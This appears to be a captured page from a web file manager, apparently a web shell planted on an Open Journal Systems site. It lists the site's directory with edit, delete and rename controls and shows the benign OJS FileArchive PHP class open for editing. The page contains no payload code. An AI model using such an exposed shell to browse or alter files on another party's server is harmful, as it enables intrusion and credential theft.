File Manager
Upload
Current Directory: /home/lartcid/public_html/journal.lartc.id
[Back]
..
[Open]
Hapus
Rename
.htaccess
[Edit]
Hapus
Rename
.well-known
[Open]
Hapus
Rename
README.md
[Edit]
Hapus
Rename
api
[Open]
Hapus
Rename
cache
[Open]
Hapus
Rename
cgi-bin
[Open]
Hapus
Rename
classes
[Open]
Hapus
Rename
config.TEMPLATE.inc.php
[Edit]
Hapus
Rename
config.inc.php
[Edit]
Hapus
Rename
controllers
[Open]
Hapus
Rename
cypress.json
[Edit]
Hapus
Rename
dbscripts
[Open]
Hapus
Rename
docs
[Open]
Hapus
Rename
error_log
[Edit]
Hapus
Rename
favicon.ico
[Edit]
Hapus
Rename
index.php
[Edit]
Hapus
Rename
js
[Open]
Hapus
Rename
lib
[Open]
Hapus
Rename
locale
[Open]
Hapus
Rename
mini.php
[Edit]
Hapus
Rename
pages
[Open]
Hapus
Rename
php.ini
[Edit]
Hapus
Rename
plugins
[Open]
Hapus
Rename
public
[Open]
Hapus
Rename
registry
[Open]
Hapus
Rename
scheduledTaskLogs
[Open]
Hapus
Rename
schemas
[Open]
Hapus
Rename
styles
[Open]
Hapus
Rename
templates
[Open]
Hapus
Rename
tools
[Open]
Hapus
Rename
Edit File
<?php /** * @file classes/file/FileArchive.inc.php * * Copyright (c) 2014-2021 Simon Fraser University * Copyright (c) 2000-2021 John Willinsky * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING. * * @class FileArchive * @ingroup file * * @brief Class provides functionality for creating an archive of files. */ class FileArchive { /** * Assembles an array of filenames into either a tar.gz or a .zip * file, based on what is available. Returns a string representing * the path to the archive on disk. * @param array $files the files to add, in an associative array of the * format ('serverPath' => 'clientFilename') * @param string $filesDir a path to the files on disk. * @return string the path to the archive. */ function create($files, $filesDir) { // Create a temporary file. $archivePath = tempnam('/tmp', 'sf-'); // attempt to use Zip first, if it is available. Otherwise // fall back to the tar CLI. $zipTest = false; if (self::zipFunctional()) { $zipTest = true; $zip = new ZipArchive(); if ($zip->open($archivePath, ZIPARCHIVE::CREATE) == true) { foreach ($files as $serverPath => $clientFilename) { $zip->addFile($filesDir . '/' . $serverPath, $clientFilename); } $zip->close(); } } elseif (self::tarFunctional()) { // Create the archive and download the file. exec(Config::getVar('cli', 'tar') . ' -c -z ' . '-f ' . escapeshellarg($archivePath) . ' ' . '-C ' . escapeshellarg($filesDir) . ' ' . implode(' ', array_map('escapeshellarg', array_keys($files))) ); } else { throw new Exception('No archive tool is available!'); } return $archivePath; } /** * Return true if the zip extension is loaded. * @return boolean */ static function zipFunctional() { return (extension_loaded('zip')); } /** * Return true if the tar tools are configured. */ static function tarFunctional() { $tarBinary = Config::getVar('cli', 'tar'); return !empty($tarBinary) && file_exists($tarBinary); } static function isFunctional() { return self::zipFunctional() || self::tarFunctional(); } }
Simpan